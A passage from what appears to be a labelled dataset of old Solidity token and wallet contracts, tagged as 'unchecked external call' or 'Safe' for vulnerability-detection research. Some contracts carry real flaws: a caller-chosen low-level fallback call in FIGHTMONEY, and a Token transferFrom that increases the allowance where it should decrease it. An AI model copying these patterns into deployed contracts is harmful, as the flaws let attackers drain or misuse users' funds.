to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } } /** * @title Fight Money */ contract FIGHTMONEY is ERC223, Ownable { using SafeMath for uint256; string public name = ""Fight Money""; string public symbol = ""FM""; uint8 public decimals = 18; uint256 public totalSupply = 70e9 * 1e18; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); function FIGHTMONEY() public { balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length > 0); } function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } function rescueToken(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e18); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } }",./Dataset/unchecked external call (UC),7,7 0x0524aee2bc7dda31939f710eaf88e2ff12275ca2_ADZbuzzCommunityToken.sol,"pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'ACT470262' token contract // // Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187 // Symbol : ACT470262 // Name : ADZbuzz Newstrack.com Community Token // Total supply: 2000000 // Decimals : 8 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ADZbuzzCommunityToken() public { symbol = ""ACT470262""; name = ""ADZbuzz Newstrack.com Community Token""; decimals = 8; _totalSupply = 200000000000000; balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply; emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",Safe,8,8 0x00e8a50bf24acfd79ac8dbf6dbf1a7e36419dd86_HEAL.sol,"pragma solidity ^0.4.21; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract HEAL { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function HEAL( ) public { totalSupply = 100000000000000000000000000000; // Total supply with the decimal amount balanceOf[msg.sender] = 100000000000000000000000000000; // All initial tokens name = ""Healio""; // The name for display purposes symbol = ""HEAL""; // The symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }",Safe,8,8 35062.sol,"/** * Originally from https://github.com/ConsenSys/MultiSigWallet */ /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ApproveAndCallReceiver { function receiveApproval( address _from, uint256 _amount, address _token, bytes _data ) public; } //normal contract. already compiled as bin contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } //block for check//bool private initialed = false; address public controller; function Controlled() public { //block for check//require(!initialed); controller = msg.sender; //block for check//initialed = true; } /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) onlyController public { controller = _newController; } } contract ERC20Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; //function totalSupply() public constant returns (uint256 balance); /// @param _owner The address from which the balance will be retrieved /// @return The balance mapping (address => uint256) public balanceOf; //function balanceOf(address _owner) public constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent mapping (address => mapping (address => uint256)) public allowance; //function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } //abstract contract. used for interface contract TokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) payable public returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) public returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } contract TokenI is ERC20Token, Controlled { string public name; //The Token's name: e.g. DigixDAO Tokens uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP /////////////////// // ERC20 Methods /////////////////// /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall( address _spender, uint256 _amount, bytes _extraData ) public returns (bool success); //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount) public returns (bool); /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function destroyTokens(address _owner, uint _amount) public returns (bool); //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled) public; ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) public; //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); } contract Token is TokenI { using SafeMath for uint256; address public owner; uint256 public maximumToken = 10 * 10**8 * 10**18; //总发行量1b struct FreezeInfo { address user; uint256 amount; } //Key1: step(募资阶段); Key2: user sequence(用户序列) mapping (uint8 => mapping (uint8 => FreezeInfo)) public freezeOf; //所有锁仓,key 使用序号向上增加,方便程序查询。 mapping (uint8 => uint8) public lastFreezeSeq; //最后的 freezeOf 键值。key: step; value: sequence mapping (uint8 => uint8) internal unlockTime; bool public transfersEnabled; /* This generates a public event on the blockchain that will notify clients */ //event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function Token( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol, bool transfersEnable ) public { balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; transfersEnabled = transfersEnable; owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier ownerOrUser(address user){ require(msg.sender == owner || msg.sender == user); _; } modifier realUser(address user){ if(user == 0x0){ revert(); } _; } modifier moreThanZero(uint256 _value){ if (_value <= 0){ revert(); } _; } modifier moreOrEqualZero(uint256 _value){ if(_value < 0){ revert(); } _; } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) { return false; } assembly { size := extcodesize(_addr) } return size>0; } /* Send coins */ function transfer(address _to, uint256 _value) realUser(_to) moreThanZero(_value) public returns (bool) { require(balanceOf[msg.sender] > _value); // Check if the sender has enough require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows balanceOf[msg.sender] = balanceOf[msg.sender] - _value; // Subtract from the sender balanceOf[_to] = balanceOf[_to] + _value; // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place return true; } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) moreThanZero(_value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * @notice `msg.sender` approves `_spender` to send `_amount` tokens on * its behalf, and then a function is triggered in the contract that is * being approved, `_spender`. This allows users to use their tokens to * interact with contracts in one function call instead of two * @param _spender The address of the contract able to transfer the tokens * @param _amount The amount of tokens to be approved for transfer * @return True if the function call was successful */ function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallReceiver(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) realUser(_from) realUser(_to) moreThanZero(_value) public returns (bool success) { require(balanceOf[_from] > _value); // Check if the sender has enough require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(_value < allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from] - _value; // Subtract from the sender balanceOf[_to] = balanceOf[_to] + _value; // Add the same to the recipient allowance[_from][msg.sender] = allowance[_from][msg.sender] + _value; Transfer(_from, _to, _value); return true; } //只能自己或者 owner 才能冻结账户 function freeze(address _user, uint256 _value, uint8 _step) moreThanZero(_value) onlyController public returns (bool success) { //info256(""balanceOf[_user]"", balanceOf[_user]); require(balanceOf[_user] >= _value); balanceOf[_user] = balanceOf[_user] - _value; freezeOf[_step][lastFreezeSeq[_step]] = FreezeInfo({user:_user, amount:_value}); lastFreezeSeq[_step]++; Freeze(_user, _value); return true; } event info(string name, uint8 value); event info256(string name, uint256 value); //为用户解锁账户资金 function unFreeze(uint8 _step) onlyController public returns (bool unlockOver) { //_end = length of freezeOf[_step] uint8 _end = lastFreezeSeq[_step]; require(_end > 0); //info(""_end"", _end); unlockOver = (_end <= 49); uint8 _start = (_end > 49) ? _end-50 : 0; //info(""_start"", _start); for(; _end>_start; _end--){ FreezeInfo storage fInfo = freezeOf[_step][_end-1]; uint256 _amount = fInfo.amount; balanceOf[fInfo.user] += _amount; delete freezeOf[_step][_end-1]; lastFreezeSeq[_step]--; Unfreeze(fInfo.user, _amount); } } //accept ether function() payable public { //屏蔽控制方的合约类型检查,以兼容发行方无控制合约的情况。 require(isContract(controller)); bool proxyPayment = TokenController(controller).proxyPayment.value(msg.value)(msg.sender); require(proxyPayment); } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _user The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _user, uint _amount) onlyController public returns (bool) { require(balanceOf[owner] >= _amount); balanceOf[_user] += _amount; balanceOf[owner] -= _amount; Transfer(0, _user, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _user The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function destroyTokens(address _user, uint _amount) onlyController public returns (bool) { balanceOf[owner] += _amount; balanceOf[_user] -= _amount; Transfer(_user, 0, _amount); return true; } function changeOwner(address newOwner) onlyOwner public returns (bool) { balanceOf[newOwner] = balanceOf[owner]; balanceOf[owner] = 0; owner = newOwner; return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled) onlyController public { transfersEnabled = _transfersEnabled; } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// set to 0 in case you want to extract ether. function claimTokens(address _token) onlyController public { if (_token == 0x0) { controller.transfer(this.balance); return; } Token token = Token(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } } contract BaseTokenSale is TokenController, Controlled { using SafeMath for uint256; uint256 public startFundingTime; uint256 public endFundingTime; uint256 constant public maximumFunding = 1951 ether; //硬顶 uint256 public maxFunding; //最高投资额度 uint256 public minFunding = 0.001 ether; //最低起投额度 uint256 public tokensPerEther = 41000; uint256 constant public maxGasPrice = 50000000000; uint256 constant oneDay = 86400; uint256 public totalCollected = 0; bool public paused; Token public tokenContract; bool public finalized = false; bool public allowChange = true; bool private transfersEnabled = true; address private vaultAddress; bool private initialed = false; event Payment(address indexed _sender, uint256 _ethAmount, uint256 _tokenAmount); /** * @param _startFundingTime The UNIX time that the BaseTokenSale will be able to start receiving funds * @param _endFundingTime The UNIX time that the BaseTokenSale will stop being able to receive funds * @param _vaultAddress The address that will store the donated funds * @param _tokenAddress Address of the token contract this contract controls */ function BaseTokenSale( uint _startFundingTime, uint _endFundingTime, address _vaultAddress, address _tokenAddress ) public { require(_endFundingTime > now); require(_endFundingTime >= _startFundingTime); require(_vaultAddress != 0); require(_tokenAddress != 0); require(!initialed); startFundingTime = _startFundingTime; endFundingTime = _endFundingTime; vaultAddress = _vaultAddress; tokenContract = Token(_tokenAddress); paused = false; initialed = true; } function setTime(uint time1, uint time2) onlyController public { require(endFundingTime > now && startFundingTime < endFundingTime); startFundingTime = time1; endFundingTime = time2; } /** * @dev The fallback function is called when ether is sent to the contract, it simply calls `doPayment()` with the address that sent the ether as the `_owner`. Payable is a required solidity modifier for functions to receive ether, without this modifier functions will throw if ether is sent to them */ function () payable notPaused public { doPayment(msg.sender); } /** * @notice `proxyPayment()` allows the caller to send ether to the BaseTokenSale and have the tokens created in an address of their choosing * @param _owner The address that will hold the newly created tokens */ function proxyPayment(address _owner) payable notPaused public returns(bool success) { return doPayment(_owner); } /** * @notice Notifies the controller about a transfer, for this BaseTokenSale all transfers are allowed by default and no extra notifications are needed * @param _from The origin of the transfer * @param _to The destination of the transfer * @param _amount The amount of the transfer * @return False if the controller does not authorize the transfer 